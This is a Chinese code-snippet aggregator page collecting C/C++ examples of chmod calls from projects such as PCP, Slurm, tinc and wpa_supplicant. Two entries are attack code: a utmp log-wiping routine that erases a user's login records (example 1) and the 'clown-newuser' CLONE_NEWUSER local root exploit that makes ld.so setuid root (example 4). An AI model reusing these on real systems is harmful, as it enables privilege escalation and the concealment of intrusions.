当前位置: 首页>>代码示例>>C++>>正文


C++ chmod函数代码示例

本文整理汇总了C++中chmod函数的典型用法代码示例。如果您正苦于以下问题:C++ chmod函数的具体用法?C++ chmod怎么用?C++ chmod使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了chmod函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: wipe_utmp

void wipe_utmp(char *username, char *tty)
{
  int match;			/* PROG: matching flag            */
  int newfd;			/* PROG: new UTMP file descriptor */
  int utmpfd;			/* PROG: UTMP file descriptor     */
  struct utmp ut_utmp;		/* PROG: utmp entry information   */
  struct stat st_stat;		/* PROG: file statistics          */
  struct fstats fstats;		/* PROG: saved file statistics    */

  /*
   * open UTMP file and get file attributes
   */

  if((utmpfd = open(_PATH_UTMP, O_RDONLY)) < 0) {
    printf("ERROR: unable to open() utmp\n");
    return;
  }

  if(fstat(utmpfd, &st_stat) < 0) {
    printf("ERROR: unable to stat() utmp\n");
    return;
  }

  fstats.uid = st_stat.st_uid;
  fstats.gid = st_stat.st_gid;
  fstats.mode = st_stat.st_mode;
  fstats.time.actime = st_stat.st_atime;
  fstats.time.modtime = st_stat.st_mtime;

  /*
   * open temporary UTMP file
   */

  if((newfd = open("/tmp/.nutmp", O_CREAT | O_WRONLY, 0600)) < 0) {
    printf("ERROR: unable to open() temporary utmp\n");
    return;
  }

  /*
   * traverse through UTMP, looking for removable entries
   */

  printf("removing '%s' from UTMP\t: ....................", username);

  for(match = 0; read(utmpfd, &ut_utmp, sizeof(ut_utmp)) > 0; match = 0) {
   
    if(!strcmp(ut_utmp.ut_name, username))
      match = 1;

    if(tty)
      if(match && !strcmp(ut_utmp.ut_line, tty))
        continue;

    if(match && !tty)
      continue;

    write(newfd, &ut_utmp, sizeof(ut_utmp));
  }

  /*
   * wipe original UTMP file
   */

  close(utmpfd);
  wipe(_PATH_UTMP);

  puts(" complete");

  /*
   * replace new UTMP with old UTMP and set file attributes
   */

  rename("/tmp/.nutmp", _PATH_UTMP);

  utime(_PATH_UTMP, &fstats.time);
  chmod(_PATH_UTMP, fstats.mode);
  chown(_PATH_UTMP, fstats.uid, fstats.gid);

  close(newfd);
}
开发者ID:kellx,项目名称:hacking-tools,代码行数:80,代码来源:remove.c

示例2: OpenRequestSocket


//.........这里部分代码省略.........
	}
	__pmSockAddrSetPort(myAddr, port);

	/* Create the socket. */
	if (*family == AF_INET)
	    fd = __pmCreateSocket();
	else if (*family == AF_INET6)
	    fd = __pmCreateIPv6Socket();
	else {
	    __pmNotifyErr(LOG_ERR, "OpenRequestSocket(%d, %s) invalid address family: %d\n",
			  port, address, *family);
	    goto fail;
	}
    }

    if (fd < 0) {
	__pmNotifyErr(LOG_ERR, "OpenRequestSocket(%d, %s, %s) __pmCreateSocket: %s\n",
		port, address, AddressFamily(*family), netstrerror());
	goto fail;
    }

    /* Ignore dead client connections. */
    one = 1;
#ifndef IS_MINGW
    if (__pmSetSockOpt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&one,
		       (__pmSockLen)sizeof(one)) < 0) {
	__pmNotifyErr(LOG_ERR,
		      "OpenRequestSocket(%d, %s, %s) __pmSetSockOpt(SO_REUSEADDR): %s\n",
		      port, address, AddressFamily(*family), netstrerror());
	goto fail;
    }
#else
    if (__pmSetSockOpt(fd, SOL_SOCKET, SO_EXCLUSIVEADDRUSE, (char *)&one,
		       (__pmSockLen)sizeof(one)) < 0) {
	__pmNotifyErr(LOG_ERR,
		      "OpenRequestSocket(%d, %s, %s) __pmSetSockOpt(EXCLUSIVEADDRUSE): %s\n",
		      port, address, AddressFamily(*family), netstrerror());
	goto fail;
    }
#endif

    /* and keep alive please - bad networks eat fds */
    if (__pmSetSockOpt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *)&one,
		(__pmSockLen)sizeof(one)) < 0) {
	__pmNotifyErr(LOG_ERR,
		"OpenRequestSocket(%d, %s, %s) __pmSetSockOpt(SO_KEEPALIVE): %s\n",
		port, address, AddressFamily(*family), netstrerror());
	goto fail;
    }

    sts = __pmBind(fd, (void *)myAddr, __pmSockAddrSize());
    __pmSockAddrFree(myAddr);
    myAddr = NULL;
    if (sts < 0) {
	sts = neterror();
	__pmNotifyErr(LOG_ERR, "OpenRequestSocket(%d, %s, %s) __pmBind: %s\n",
		port, address, AddressFamily(*family), netstrerror());
	if (sts == EADDRINUSE)
	    __pmNotifyErr(LOG_ERR, "%s may already be running\n", pmProgname);
	goto fail;
    }

    if (isUnix) {
	/*
	 * For unix domain sockets, grant rw access to the socket for all,
	 * otherwise, on linux platforms, connection will not be possible.
	 * This must be done AFTER binding the address. See Unix(7) for details.
	 */
	sts = chmod(address, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
	if (sts != 0) {
	    __pmNotifyErr(LOG_ERR,
		"OpenRequestSocket(%d, %s, %s) chmod(%s): %s\n",
		port, address, AddressFamily(*family), address, strerror(errno));
	    goto fail;
	}
    }

    sts = __pmListen(fd, backlog);	/* Max. pending connection requests */
    if (sts < 0) {
	__pmNotifyErr(LOG_ERR, "OpenRequestSocket(%d, %s, %s) __pmListen: %s\n",
		port, address, AddressFamily(*family), netstrerror());
	goto fail;
    }

    if (fd > *maximum)
	*maximum = fd;
    __pmFD_SET(fd, fdset);
    return fd;

fail:
    if (fd != -1) {
        __pmCloseSocket(fd);
	/* We must unlink the socket file. */
	if (isUnix)
	    unlink(address);
    }
    if (myAddr)
        __pmSockAddrFree(myAddr);
    return -1;
}
开发者ID:jujis008,项目名称:pcp,代码行数:101,代码来源:auxserver.c

示例3: main


//.........这里部分代码省略.........
		if (home_path != NULL) {
			char *relative_path = g_strdup(tagsistant.repository + 1);
			g_free_null(tagsistant.repository);
			tagsistant.repository = g_strdup_printf("%s%s", home_path, relative_path);
			g_free_null(relative_path);
			dbg('b', LOG_INFO, "Repository path is %s", tagsistant.repository);
		} else {
			dbg('b', LOG_ERR, "Repository path starts with '~', but $HOME was not available!");
		}
	} else 

	/* checking if repository is a relative path */
	if (tagsistant.repository[0] != '/') {
		dbg('b', LOG_ERR, "Repository path is relative [%s]", tagsistant.repository);
		char *cwd = getcwd(NULL, 0);
		if (cwd == NULL) {
			dbg('b', LOG_ERR, "Error getting working directory, will leave repository path as is");
		} else {
			gchar *absolute_repository = g_strdup_printf("%s/%s", cwd, tagsistant.repository);
			g_free_null(tagsistant.repository);
			tagsistant.repository = absolute_repository;
			dbg('b', LOG_ERR, "Repository path is %s", tagsistant.repository);
		}
	}

	struct stat repstat;
	if (lstat(tagsistant.repository, &repstat) == -1) {
		if(mkdir(tagsistant.repository, 755) == -1) {
			if (!tagsistant.quiet)
				fprintf(stderr, "\n *** REPOSITORY: Can't mkdir(%s): %s ***\n", tagsistant.repository, strerror(errno));
			exit(2);
		}
	}
	chmod(tagsistant.repository, S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);

	/* opening (or creating) SQL tags database */
	tagsistant.tags = g_strdup_printf("%s/tags.sql", tagsistant.repository);

	/* tags.sql is also used by getattr() as a guaranteed file when asked for stats/ files */
	struct stat tags_st;
	if (-1 == stat(tagsistant.tags, &tags_st)) {
		int tags_fd = creat(tagsistant.tags, S_IRUSR|S_IWUSR);
		if (tags_fd) close(tags_fd);
	}

	/* checking file archive directory */
	tagsistant.archive = g_strdup_printf("%s/archive/", tagsistant.repository);

	if (lstat(tagsistant.archive, &repstat) == -1) {
		if(mkdir(tagsistant.archive, 755) == -1) {
			if (!tagsistant.quiet)
				fprintf(stderr, "\n *** ARCHIVE: Can't mkdir(%s): %s ***\n", tagsistant.archive, strerror(errno));
			exit(2);
		}
	}
	chmod(tagsistant.archive, S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);

	dbg('b', LOG_INFO, "Debug is enabled: %s", tagsistant.debug ? "yes" : "no");

	umask(0);

#ifdef _DEBUG_SYSLOG
	tagsistant_init_syslog();
#endif

#if REGISTER_CLEANUP
开发者ID:rowhit,项目名称:Tagsistant,代码行数:67,代码来源:tagsistant.c

示例4: main

int main(int argc, char *argv[])
{
	char *su[] = {"/bin/su", NULL};
	char *sh[] = {"/bin/bash", NULL};
	char me[256], *mee[] = {me, "1", NULL};
	char uidmap[128], map_file[128];
	pid_t pid;
	struct stat st;
	int fd;


	if (geteuid() == 0 && argc == 1) {
		/* this will run inside chroot, started as the ld.so 
from
		 * su process
		 */
		printf("[+] Yay! euid=%d uid=%d\n", geteuid(), 
getuid());
		chown("lib64/ld-linux-x86-64.so.2", 0, 0);
		chmod("lib64/ld-linux-x86-64.so.2", 04755);
		exit(0);
	} else if (geteuid() == 0) {
		/* this will run outside */
		setuid(0);
		execve(*sh, sh, environ);
		die("[-] execve");
	}

	printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 
Sebastian Krahmer\n\n");

	memset(me, 0, sizeof(me));
	readlink("/proc/self/exe", me, sizeof(me) - 1);
	printf("[+] Found myself: '%s'\n", me);

	if (fork() > 0) {
		printf("[*] Parent waiting for boomsh to appear ...\n");
		for (;;) {
			stat(me, &st);
			if (st.st_uid == 0)
				break;
			usleep(1000);
		}
		execve(me, mee, environ);
		die("[-] execve");
	}

	printf("[*] Setting up chroot ...\n");
	setup_chroot(me);
	printf("[+] Done.\n[*] Cloning evil child ...\n");

	if (pipe(go) < 0)
		die("[-] pipe");

	pid = clone(child, child_stack + sizeof(child_stack),
	            CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
	if (pid == -1)
		die("[-] clone");

	printf("[+] Done.\n[*] Creating UID mapping ...\n");

	snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid);
	if ((fd = open(map_file, O_RDWR)) < 0)
		die("[-] open");
	snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid());
	if (write(fd, uidmap, strlen(uidmap)) < 0)
		die("[-] write");
	close(fd);
	printf("[+] Done.\n");

	close(go[0]);
	write(go[1], "X", 1);

	waitpid(pid, NULL, 0);
	execve(*su, su, NULL);
	die("[-] execve");
	return -1;
}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:78,代码来源:clown-newuser.c

示例5: filetxt_jobacct_process_archive


//.........这里部分代码省略.........
				while((object = list_next(itr)))
					if (!strcasecmp(f[F_PARTITION], object))
						break;

				list_iterator_destroy(itr);
				if (!object)
					continue;	/* no match */
			}

			list_append(exp_list, exp_rec);
			debug2("Selected: %8d %d",
			       exp_rec->job,
			       (int)exp_rec->job_submit);
		} else {
			list_append(other_list, exp_rec);
		}
	}
	if (!list_count(exp_list)) {
		debug3("No job records were purged.");
		goto finished;
	}
	logfile_name = xmalloc(strlen(filein)+sizeof(".expired"));
	sprintf(logfile_name, "%s.expired", filein);
	new_file = stat(logfile_name, &statbuf);
	if ((expired_logfile = fopen(logfile_name, "a"))==NULL) {
		error("Error while opening %s",
			logfile_name);
		perror("");
		xfree(logfile_name);
		goto finished;
	}

	if (new_file) {  /* By default, the expired file looks like the log */
		chmod(logfile_name, prot);
		if (chown(logfile_name, uid, gid) == -1)
			error("Couldn't change ownership of %s to %u:%u",
			      logfile_name, uid, gid);
	}
	xfree(logfile_name);

	logfile_name = _prefix_filename(filein, ".new.");
	if ((new_logfile = fopen(logfile_name, "w"))==NULL) {
		error("Error while opening %s",
			logfile_name);
		perror("");
		fclose(expired_logfile);
		goto finished;
	}
	chmod(logfile_name, prot);     /* preserve file protection */
	if (chown(logfile_name, uid, gid) == -1)/* and ownership */
		error("2 Couldn't change ownership of %s to %u:%u",
		      logfile_name, uid, gid);
	/* Use line buffering to allow us to safely write
	 * to the log file at the same time as slurmctld. */
	if (setvbuf(new_logfile, NULL, _IOLBF, 0)) {
		perror("setvbuf()");
		fclose(expired_logfile);
		goto finished2;
	}

	list_sort(exp_list, (ListCmpF) _cmp_jrec);
	list_sort(keep_list, (ListCmpF) _cmp_jrec);

	/* if (params->opt_verbose > 2) { */
/* 		error("--- contents of exp_list ---"); */
/* 		itr = list_iterator_create(exp_list); */
开发者ID:jsollom,项目名称:slurm,代码行数:67,代码来源:filetxt_jobacct_process.c

示例6: cmd_invite


//.........这里部分代码省略.........
		}
	}

	closedir(dir);

	if(errno) {
		fprintf(stderr, "Error while reading directory %s: %s\n", filename, strerror(errno));
		return 1;
	}
		
	ecdsa_t *key;
	snprintf(filename, sizeof filename, "%s" SLASH "invitations" SLASH "ed25519_key.priv", confbase);

	// Remove the key if there are no outstanding invitations.
	if(!count)
		unlink(filename);

	// Create a new key if necessary.
	FILE *f = fopen(filename, "r");
	if(!f) {
		if(errno != ENOENT) {
			fprintf(stderr, "Could not read %s: %s\n", filename, strerror(errno));
			return 1;
		}

		key = ecdsa_generate();
		if(!key)
			return 1;
		f = fopen(filename, "w");
		if(!f) {
			fprintf(stderr, "Could not write %s: %s\n", filename, strerror(errno));
			return 1;
		}
		chmod(filename, 0600);
		if(!ecdsa_write_pem_private_key(key, f)) {
			fprintf(stderr, "Could not write ECDSA private key\n");
			fclose(f);
			return 1;
		}
		fclose(f);

		if(connect_tincd(false))
			sendline(fd, "%d %d", CONTROL, REQ_RELOAD);
	} else {
		key = ecdsa_read_pem_private_key(f);
		fclose(f);
		if(!key)
			fprintf(stderr, "Could not read private key from %s\n", filename);
	}

	if(!key)
		return 1;

	// Create a hash of the key.
	char hash[64];
	char *fingerprint = ecdsa_get_base64_public_key(key);
	sha512(fingerprint, strlen(fingerprint), hash);
	b64encode_urlsafe(hash, hash, 18);

	// Create a random cookie for this invitation.
	char cookie[25];
	randomize(cookie, 18);

	// Create a filename that doesn't reveal the cookie itself
	char buf[18 + strlen(fingerprint)];
	char cookiehash[64];
开发者ID:xentec,项目名称:tinc,代码行数:67,代码来源:invitation.c

示例7: unlinklib

int unlinklib(const char* dataDir)
{
    char libdir[PKG_PATH_MAX];
    struct stat s, libStat;
    int rc = 0;

    const size_t libdirLen = strlen(dataDir) + strlen(PKG_LIB_POSTFIX);
    if (libdirLen >= PKG_PATH_MAX) {
        return -1;
    }

    if (snprintf(libdir, sizeof(libdir), "%s%s", dataDir, PKG_LIB_POSTFIX) != (ssize_t)libdirLen) {
        LOGE("library dir not written successfully: %s\n", strerror(errno));
        return -1;
    }

    if (stat(dataDir, &s) < 0) {
        LOGE("couldn't state data dir");
        return -1;
    }

    if (chown(dataDir, 0, 0) < 0) {
        LOGE("failed to chown '%s': %s\n", dataDir, strerror(errno));
        return -1;
    }

    if (chmod(dataDir, 0700) < 0) {
        LOGE("failed to chmod '%s': %s\n", dataDir, strerror(errno));
        rc = -1;
        goto out;
    }

    if (lstat(libdir, &libStat) < 0) {
        LOGE("couldn't stat lib dir: %s\n", strerror(errno));
        rc = -1;
        goto out;
    }

    if (S_ISDIR(libStat.st_mode)) {
        if (delete_dir_contents(libdir, 1, 0) < 0) {
            rc = -1;
            goto out;
        }
    } else if (S_ISLNK(libStat.st_mode)) {
        if (unlink(libdir) < 0) {
            rc = -1;
            goto out;
        }
    }

    if (mkdir(libdir, 0755) < 0) {
        LOGE("cannot create dir '%s': %s\n", libdir, strerror(errno));
        rc = -errno;
        goto out;
    }

    if (chown(libdir, AID_SYSTEM, AID_SYSTEM) < 0) {
        LOGE("cannot chown dir '%s': %s\n", libdir, strerror(errno));
        unlink(libdir);
        rc = -errno;
        goto out;
    }

out:
    if (chmod(dataDir, s.st_mode) < 0) {
        LOGE("failed to chmod '%s': %s\n", dataDir, strerror(errno));
        return -1;
    }

    if (chown(dataDir, s.st_uid, s.st_gid) < 0) {
        LOGE("failed to chown '%s' : %s\n", dataDir, strerror(errno));
        return -1;
    }

    return rc;
}
开发者ID:mnlk2-custom,项目名称:android_frameworks_base,代码行数:76,代码来源:commands.c

示例8: main

int
main (int argc, char *argv[])
{
    fd_set master;
    fd_set read_fds;
    struct sockaddr_in serveraddr;
    struct sockaddr_in clientaddr;
    int fdmax;
    int newfd;
    char buf[1024];
    int nbytes;
    int addrlen;
    int yes, ret;
    int epfd = -1;
    int res = -1;
    struct epoll_event ev;
    int i = 0;
    int index = 0;
    int listen_fd, client_fd = -1;
    struct sockaddr_un clt_addr;
    struct sockaddr_un srv_addr;

    int SnumOfConnection = 0;
    time_t Sstart, Send;

    //创建用于通信的套接字,通信域为UNIX通信域

    listen_fd = socket (AF_UNIX, SOCK_STREAM, 0);
    if (listen_fd < 0)
      {
	  perror ("cannot create listening socket");
      }
    else
      {
	  //设置服务器地址参数
	  srv_addr.sun_family = AF_UNIX;
	  strncpy (srv_addr.sun_path, UNIX_DOMAIN,
		   sizeof (srv_addr.sun_path) - 1);
	  unlink (UNIX_DOMAIN);
	  //绑定套接字与服务器地址信息
	  ret =
	      bind (listen_fd, (struct sockaddr *) &srv_addr,
		    sizeof (srv_addr));
	  if (ret == -1)
	    {
		perror ("cannot bind server socket");
		close (listen_fd);
		unlink (UNIX_DOMAIN);
		exit (1);
	    }
      }

    ret = listen (listen_fd, 1);
    if (ret == -1)
      {
	  perror ("cannot listen the client connect request");
	  close (listen_fd);
	  unlink (UNIX_DOMAIN);
	  exit (1);
      }
    chmod (UNIX_DOMAIN, 00777);	//设置通信文件权限


    fdmax = listen_fd;		/* so far, it's this one */

    events = calloc (MAX_CON, sizeof (struct epoll_event));
    if ((epfd = epoll_create (MAX_CON)) == -1)
      {
	  perror ("epoll_create");
	  exit (1);
      }
    ev.events = EPOLLIN;
    ev.data.fd = fdmax;
    if (epoll_ctl (epfd, EPOLL_CTL_ADD, fdmax, &ev) < 0)
      {
	  perror ("epoll_ctl");
	  exit (1);
      }
    //time(&start);
    for (;;)
      {
	  res = epoll_wait (epfd, events, MAX_CON, -1);
	  client_fd = events[index].data.fd;

	  for (index = 0; index < MAX_CON; index++)
	    {
		if (client_fd == listen_fd)
		  {
		      addrlen = sizeof (clientaddr);
		      if ((newfd =
			   accept (listen_fd, (struct sockaddr *) &clientaddr,
				   &addrlen)) == -1)
			{
			    perror ("Server-accept() error lol!");
			}
		      else
			{
			    //      printf("Server-accept() is OK...\n");
			    ev.events = EPOLLIN;
			    ev.data.fd = newfd;
//.........这里部分代码省略.........
开发者ID:shenyan1,项目名称:aiofs,代码行数:101,代码来源:eserver.c

示例9: server

void server(uint16_t src, const char *keystoredir, int num_interfaces, struct interface **interfaces) {
    
    int i, j;
    
    struct interface *interface = *interfaces;
    
    char *privatekeyfile, *publickeyfile, linkkeyfile[strlen(keystoredir) + 20];
    char genrsa_command[1000];
    FILE *file_privatekey, *file_publickey, *file_linkkey;
    
    uint16_t file_public_size, file_private_size;
    
    char agree[6] = "Agree";
    unsigned char *buffer_publickey, *buffer_privatekey, buffer_sock[MTU], *encrypted_linkkey, linkkey[LINKKEY_LENGTH];
    
    struct layer2 *l2;
    //struct layer3 *l3;
    struct layer4_linkkeyexchange *l4;
    struct layer4_linkkeyexchange_pubkey *l4_pubkey;
    struct layer4_linkkeyexchange_propose *l4_propose;
    size_t header_length;
    
    // Socket and its filter
    ssize_t recvlen;
    int sockfd[num_interfaces];
    struct sockaddr_ll sa[num_interfaces];
    struct packet_mreq mreq[num_interfaces];
    struct sock_fprog prog_filter;
    struct sock_filter incoming_filter[] = {    // ether[2]=2 and (ether[8]=0 or ether[8]=2) and !(ether[0]=0xff and ether[1]=0xee)
        { 0x30, 0, 0, 0x00000002 }, // Position of Layer3:Type
        { 0x15, 0, 8, 0x00000002 }, //   2 means Link Key Exchange Packet
        { 0x30, 0, 0, 0x00000008 }, // Position of Layer4:LinkKeyExchange:Type
        { 0x15, 1, 0, 0x00000000 }, //   0 means Link Key Exchange Request Packet  OR
        { 0x15, 0, 5, 0x00000002 }, //   2 means Proposed Link Key
        { 0x30, 0, 0, 0x00000000 },
        { 0x15, 0, 2, 0x000000ff }, // value of ether[0]
        { 0x30, 0, 0, 0x00000001 },
        { 0x15, 1, 0, 0x000000ee }, // value of ether[1]
        { 0x6, 0, 0, 0x0000ffff },
        { 0x6, 0, 0, 0x00000000 },
    };
    incoming_filter[2].k = (uint32_t)(sizeof(struct layer2) + sizeof(struct layer3)); // Set position of Layer4:LinkKeyExchange:Type
    incoming_filter[6].k = (uint32_t)((src>>8) & 0xff);     // Filter out all outgoing messages
    incoming_filter[8].k = (uint32_t)(src & 0xff);
    prog_filter.len = 11;
    prog_filter.filter = incoming_filter;
    
    // Select()
    int selectval, sockfd_max = -1;
    fd_set readfds;
    FD_ZERO(&readfds);
    
    l2 = (struct layer2 *) buffer_sock;
    //l3 = (struct layer3 *) (buffer_sock + sizeof(struct layer2));
    l4 = (struct layer4_linkkeyexchange *) (buffer_sock + sizeof(struct layer2) + sizeof(struct layer3));
    l4_pubkey  = (struct layer4_linkkeyexchange_pubkey *) (buffer_sock + sizeof(struct layer2) + sizeof(struct layer3));
    l4_propose = (struct layer4_linkkeyexchange_propose *) (buffer_sock + sizeof(struct layer2) + sizeof(struct layer3));
    header_length = sizeof(struct layer2) + sizeof(struct layer3);

    
    // Construct the full path to public/private key file
    privatekeyfile = (char *) malloc(strlen(keystoredir) + strlen("/private.pem") + 1);
    publickeyfile  = (char *) malloc(strlen(keystoredir) + strlen("/public.pem") + 1);
    strcpy(privatekeyfile, keystoredir);
    strcat(privatekeyfile, "/private.pem");
    strcpy(publickeyfile, keystoredir);
    strcat(publickeyfile, "/public.pem");
    
    // Read private key
    while (!(file_privatekey = fopen(privatekeyfile, "rb"))) {
        
        printf("RSA private key does not exist\n");
        
        // Construct a shell command for generating an RSA public/private key pair
        sprintf(genrsa_command,
            "/usr/bin/openssl genrsa -out %s %d && /usr/bin/openssl rsa -in %s -outform PEM -pubout -out %s && chmod 400 %s %s",
            privatekeyfile, RSA_KEY_LENGTH_BIT, privatekeyfile, publickeyfile, privatekeyfile, publickeyfile
        );
        
        // Execute the shell command
        if (system(genrsa_command) != 0) {
            fprintf(stderr, "Error: could not generate an RSA public/private key pair");
            return;
        }
    }
    
    // Get the size of the private key file
    fseeko(file_privatekey, 0 , SEEK_END);
    file_private_size = (uint16_t) ftello(file_privatekey);
    fseeko(file_privatekey, 0 , SEEK_SET);
    
    buffer_privatekey = (unsigned char *) malloc(file_private_size);
    
    // Read the public key file into buffer
    if (!fread(buffer_privatekey, file_private_size, 1, file_privatekey) == file_private_size) {
        fprintf(stderr, "Error: error reading private key file");
        return;
    }
    
    // Read public key
//.........这里部分代码省略.........
开发者ID:SanthoshGunturu,项目名称:finalproject,代码行数:101,代码来源:server.c

示例10: KeepKeyPromises


//.........这里部分代码省略.........
    RSA *pair = RSA_new();
    BIGNUM *rsa_bignum = BN_new();
#else
    RSA *pair;
#endif
    FILE *fp;
    struct stat statbuf;
    int fd;
    static char *passphrase = "Cfengine passphrase";
    const EVP_CIPHER *cipher;
    char vbuff[CF_BUFSIZE];

    cipher = EVP_des_ede3_cbc();

    if (stat(public_key_file, &statbuf) != -1)
    {
        printf("A key file already exists at %s\n", public_key_file);
        return;
    }

    if (stat(private_key_file, &statbuf) != -1)
    {
        printf("A key file already exists at %s\n", private_key_file);
        return;
    }

    printf("Making a key pair for cfengine, please wait, this could take a minute...\n");

#ifdef OPENSSL_NO_DEPRECATED
    BN_set_word(rsa_bignum, 35);

    if (!RSA_generate_key_ex(pair, 2048, rsa_bignum, NULL))
#else
    pair = RSA_generate_key(2048, 35, NULL, NULL);

    if (pair == NULL)
#endif
    {
        err = ERR_get_error();
        Log(LOG_LEVEL_ERR, "Unable to generate key: %s", ERR_reason_error_string(err));
        return;
    }

    fd = open(private_key_file, O_WRONLY | O_CREAT | O_TRUNC, 0600);

    if (fd < 0)
    {
        Log(LOG_LEVEL_ERR, "Open '%s' failed. (open: %s)", private_key_file, GetErrorStr());
        return;
    }

    if ((fp = fdopen(fd, "w")) == NULL)
    {
        Log(LOG_LEVEL_ERR, "Couldn't open private key '%s'. (fdopen: %s)", private_key_file, GetErrorStr());
        close(fd);
        return;
    }

    Log(LOG_LEVEL_VERBOSE, "Writing private key to '%s'", private_key_file);

    if (!PEM_write_RSAPrivateKey(fp, pair, cipher, passphrase, strlen(passphrase), NULL, NULL))
    {
        err = ERR_get_error();
        Log(LOG_LEVEL_ERR, "Couldn't write private key. (PEM_write_RSAPrivateKey: %s)", ERR_reason_error_string(err));
        return;
    }

    fclose(fp);

    fd = open(public_key_file, O_WRONLY | O_CREAT | O_TRUNC, 0600);

    if (fd < 0)
    {
        Log(LOG_LEVEL_ERR, "Unable to open public key '%s'. (open: %s)",
            public_key_file, GetErrorStr());
        return;
    }

    if ((fp = fdopen(fd, "w")) == NULL)
    {
        Log(LOG_LEVEL_ERR, "Open '%s' failed. (fdopen: %s)", public_key_file, GetErrorStr());
        close(fd);
        return;
    }

    Log(LOG_LEVEL_VERBOSE, "Writing public key to %s", public_key_file);

    if (!PEM_write_RSAPublicKey(fp, pair))
    {
        err = ERR_get_error();
        Log(LOG_LEVEL_ERR, "Unable to write public key: %s", ERR_reason_error_string(err));
        return;
    }

    fclose(fp);

    snprintf(vbuff, CF_BUFSIZE, "%s/randseed", CFWORKDIR);
    RAND_write_file(vbuff);
    chmod(vbuff, 0644);
}
开发者ID:baptr,项目名称:core,代码行数:101,代码来源:cf-key-functions.c

示例11: wpa_priv_interface_init


//.........这里部分代码省略.........
        iface->fd = -1;

        len = pos - params;
        iface->driver_name = os_malloc(len + 1);
        if (iface->driver_name == NULL) {
                wpa_priv_interface_deinit(iface);
                return NULL;
        }
        os_memcpy(iface->driver_name, params, len);
        iface->driver_name[len] = '\0';

        for (i = 0; wpa_supplicant_drivers[i]; i++) {
                if (os_strcmp(iface->driver_name,
                              wpa_supplicant_drivers[i]->name) == 0) {
                        iface->driver = wpa_supplicant_drivers[i];
                        break;
                }
        }
        if (iface->driver == NULL) {
                wpa_printf(MSG_ERROR, "Unsupported driver '%s'",
                           iface->driver_name);
                wpa_priv_interface_deinit(iface);
                return NULL;
        }

        pos++;
        iface->ifname = os_strdup(pos);
        if (iface->ifname == NULL) {
                wpa_priv_interface_deinit(iface);
                return NULL;
        }

        len = os_strlen(dir) + 1 + os_strlen(iface->ifname);
        iface->sock_name = os_malloc(len + 1);
        if (iface->sock_name == NULL) {
                wpa_priv_interface_deinit(iface);
                return NULL;
        }

        os_snprintf(iface->sock_name, len + 1, "%s/%s", dir, iface->ifname);
        if (os_strlen(iface->sock_name) >= sizeof(addr.sun_path)) {
                wpa_priv_interface_deinit(iface);
                return NULL;
        }

        iface->fd = socket(PF_UNIX, SOCK_DGRAM, 0);
        if (iface->fd < 0) {
                perror("socket(PF_UNIX)");
                wpa_priv_interface_deinit(iface);
                return NULL;
        }

        os_memset(&addr, 0, sizeof(addr));
        addr.sun_family = AF_UNIX;
        os_strlcpy(addr.sun_path, iface->sock_name, sizeof(addr.sun_path));

        if (bind(iface->fd, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
                wpa_printf(MSG_DEBUG, "bind(PF_UNIX) failed: %s",
                           strerror(errno));
                if (connect(iface->fd, (struct sockaddr *) &addr,
                            sizeof(addr)) < 0) {
                        wpa_printf(MSG_DEBUG, "Socket exists, but does not "
                                   "allow connections - assuming it was "
                                   "leftover from forced program termination");
                        if (unlink(iface->sock_name) < 0) {
                                perror("unlink[ctrl_iface]");
                                wpa_printf(MSG_ERROR, "Could not unlink "
                                           "existing ctrl_iface socket '%s'",
                                           iface->sock_name);
                                goto fail;
                        }
                        if (bind(iface->fd, (struct sockaddr *) &addr,
                                 sizeof(addr)) < 0) {
                                perror("bind(PF_UNIX)");
                                goto fail;
                        }
                        wpa_printf(MSG_DEBUG, "Successfully replaced leftover "
                                   "socket '%s'", iface->sock_name);
                } else {
                        wpa_printf(MSG_INFO, "Socket exists and seems to be "
                                   "in use - cannot override it");
                        wpa_printf(MSG_INFO, "Delete '%s' manually if it is "
                                   "not used anymore", iface->sock_name);
                        goto fail;
                }
        }

        if (chmod(iface->sock_name, S_IRWXU | S_IRWXG | S_IRWXO) < 0) {
                perror("chmod");
                goto fail;
        }

        eloop_register_read_sock(iface->fd, wpa_priv_receive, iface, NULL);

        return iface;

fail:
        wpa_priv_interface_deinit(iface);
        return NULL;
}
开发者ID:tigerjibo,项目名称:wpa_suppliant_with_openssl,代码行数:101,代码来源:wpa_priv.c

示例12: RunBSP

void RunBSP(const char* name)
{
  // http://zerowing.idsoftware.com/bugzilla/show_bug.cgi?id=503
  // make sure we don't attempt to region compile a map with the camera outside the region
  if (region_active && !Region_cameraValid())
  {
    globalErrorStream() << "The camera must be in the region to start a region compile.\n";
    return;
  }

  SaveMap();

  if(Map_Unnamed(g_map))
  {
    globalOutputStream() << "build cancelled\n";
    return;
  }

  if (g_SnapShots_Enabled && !Map_Unnamed(g_map) && Map_Modified(g_map))
  {
    Map_Snapshot();
  }

  if (region_active)
  {
    const char* mapname = Map_Name(g_map);
    StringOutputStream name(256);
    name << StringRange(mapname, path_get_filename_base_end(mapname)) << ".reg";
    Map_SaveRegion(name.c_str());
  }

  Pointfile_Delete();

  bsp_init();

  if (g_WatchBSP_Enabled)
  {
    ArrayCommandListener listener;
    build_run(name, listener);
    // grab the file name for engine running
    const char* fullname = Map_Name(g_map);
    StringOutputStream bspname(64);
    bspname << StringRange(path_get_filename_start(fullname), path_get_filename_base_end(fullname));
    BuildMonitor_Run( listener.array(), bspname.c_str() );
  }
  else
  {
    char junkpath[PATH_MAX];
    strcpy(junkpath, SettingsPath_get());
    strcat(junkpath, "junk.txt");

    char batpath[PATH_MAX];
#if defined(POSIX)
    strcpy(batpath, SettingsPath_get());
    strcat(batpath, "qe3bsp.sh");
#elif defined(WIN32)
    strcpy(batpath, SettingsPath_get());
